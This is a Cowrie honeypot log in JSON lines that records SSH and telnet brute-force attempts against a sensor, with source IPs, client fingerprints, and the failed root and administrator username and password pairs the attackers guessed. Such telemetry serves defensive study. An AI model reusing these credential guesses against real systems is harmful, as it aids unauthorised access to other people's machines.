{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:51.064363Z","src_ip":"80.66.85.226","session":"03708af745e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna1985","message":"login attempt [root/anna1985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:51.331777Z","src_ip":"80.66.85.226","session":"03708af745e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:52.424378Z","src_ip":"80.66.85.226","session":"03708af745e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43612,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b4cab505cff","protocol":"telnet","message":"New connection: 135.148.14.151:43612 (159.203.135.109:23) [session: 0b4cab505cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:53.002090Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45740,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcbde2327a2e","protocol":"telnet","message":"New connection: 135.148.14.151:45740 (159.203.135.109:23) [session: fcbde2327a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:56.695879Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":45070,"dst_ip":"159.203.135.109","dst_port":22,"session":"50b76fe5f693","protocol":"ssh","message":"New connection: 109.172.54.111:45070 (159.203.135.109:22) [session: 50b76fe5f693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:57.677629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:57.683337Z","src_ip":"109.172.54.111","session":"50b76fe5f693","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:57.785391Z","src_ip":"109.172.54.111","session":"50b76fe5f693","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12378","message":"login attempt [root/12378] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:58.089996Z","src_ip":"109.172.54.111","session":"50b76fe5f693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:39:59.194430Z","src_ip":"109.172.54.111","session":"50b76fe5f693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.05729150772095,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:05.576380Z","src_ip":"135.148.14.151","session":"8ebd0617c506","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.221.232.44","src_port":55378,"dst_ip":"159.203.135.109","dst_port":22,"session":"4711c1f5a7a4","protocol":"ssh","message":"New connection: 197.221.232.44:55378 (159.203.135.109:22) [session: 4711c1f5a7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:11.132975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:11.139326Z","src_ip":"197.221.232.44","session":"4711c1f5a7a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:11.387642Z","src_ip":"197.221.232.44","session":"4711c1f5a7a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.27354145050049,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:12.135444Z","src_ip":"135.148.14.151","session":"6c81bed02c37","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root#123","message":"login attempt [root/root#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:12.410254Z","src_ip":"197.221.232.44","session":"4711c1f5a7a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":52674,"dst_ip":"10.17.0.5","dst_port":22,"session":"19f5e0aa574d","protocol":"ssh","message":"New connection: 103.98.149.87:52674 (10.17.0.5:22) [session: 19f5e0aa574d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:12.846090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:12.851607Z","src_ip":"103.98.149.87","session":"19f5e0aa574d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:13.108099Z","src_ip":"103.98.149.87","session":"19f5e0aa574d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:13.661711Z","src_ip":"197.221.232.44","session":"4711c1f5a7a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dbrnjhbz1","message":"login attempt [root/dbrnjhbz1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:13.953159Z","src_ip":"103.98.149.87","session":"19f5e0aa574d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:15.346354Z","src_ip":"103.98.149.87","session":"19f5e0aa574d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55324,"dst_ip":"159.203.135.109","dst_port":23,"session":"00bcd7910ebc","protocol":"telnet","message":"New connection: 135.148.14.151:55324 (159.203.135.109:23) [session: 00bcd7910ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:17.078991Z"}
{"eventid":"cowrie.session.closed","duration":36.270315170288086,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:29.272314Z","src_ip":"135.148.14.151","session":"0b4cab505cff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.61269474029541,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:35.308488Z","src_ip":"135.148.14.151","session":"fcbde2327a2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.186.40.161","src_port":43252,"dst_ip":"10.17.0.5","dst_port":22,"session":"51a042b2d278","protocol":"ssh","message":"New connection: 201.186.40.161:43252 (10.17.0.5:22) [session: 51a042b2d278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:41.069574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:41.075037Z","src_ip":"201.186.40.161","session":"51a042b2d278","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:41.228454Z","src_ip":"201.186.40.161","session":"51a042b2d278","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:41.868905Z","src_ip":"201.186.40.161","session":"51a042b2d278","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:43.024354Z","src_ip":"201.186.40.161","session":"51a042b2d278","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40610,"dst_ip":"159.203.135.109","dst_port":23,"session":"25f8b7ea0252","protocol":"telnet","message":"New connection: 135.148.14.151:40610 (159.203.135.109:23) [session: 25f8b7ea0252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:45.910357Z"}
{"eventid":"cowrie.session.closed","duration":36.10620331764221,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:53.185019Z","src_ip":"135.148.14.151","session":"00bcd7910ebc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":43500,"dst_ip":"10.17.0.5","dst_port":22,"session":"c26ca4aedf93","protocol":"ssh","message":"New connection: 103.153.68.219:43500 (10.17.0.5:22) [session: c26ca4aedf93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:54.356226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:54.361077Z","src_ip":"103.153.68.219","session":"c26ca4aedf93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:54.608062Z","src_ip":"103.153.68.219","session":"c26ca4aedf93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jan323","message":"login attempt [root/jan323] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:55.349094Z","src_ip":"103.153.68.219","session":"c26ca4aedf93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:40:56.598886Z","src_ip":"103.153.68.219","session":"c26ca4aedf93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37708,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2ca42ddac21","protocol":"telnet","message":"New connection: 135.148.14.151:37708 (159.203.135.109:23) [session: d2ca42ddac21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:41:12.011078Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.247.111","src_port":39528,"dst_ip":"10.17.0.5","dst_port":22,"session":"327d5d80ae2e","protocol":"ssh","message":"New connection: 150.109.247.111:39528 (10.17.0.5:22) [session: 327d5d80ae2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:41:22.340631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:41:22.345578Z","src_ip":"150.109.247.111","session":"327d5d80ae2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:41:22.543257Z","src_ip":"150.109.247.111","session":"327d5d80ae2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@147258","message":"login attempt [root/Aa@147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:41:23.364704Z","src_ip":"150.109.247.111","session":"327d5d80ae2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.0068633556366,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:41:23.917135Z","src_ip":"135.148.14.151","session":"25f8b7ea0252","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:41:24.564767Z","src_ip":"150.109.247.111","session":"327d5d80ae2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56526,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7d9c8ddf116","protocol":"telnet","message":"New connection: 135.148.14.151:56526 (159.203.135.109:23) [session: b7d9c8ddf116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:41:28.815599Z"}
{"eventid":"cowrie.session.closed","duration":33.16417574882507,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:41:45.175127Z","src_ip":"135.148.14.151","session":"d2ca42ddac21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.68084979057312,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:03.496300Z","src_ip":"135.148.14.151","session":"b7d9c8ddf116","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46596,"dst_ip":"159.203.135.109","dst_port":23,"session":"77b365adb50a","protocol":"telnet","message":"New connection: 135.148.14.151:46596 (159.203.135.109:23) [session: 77b365adb50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:08.898625Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.221.232.44","src_port":41464,"dst_ip":"159.203.135.109","dst_port":22,"session":"671eb63fc2dc","protocol":"ssh","message":"New connection: 197.221.232.44:41464 (159.203.135.109:22) [session: 671eb63fc2dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:42:11.319465Z"}
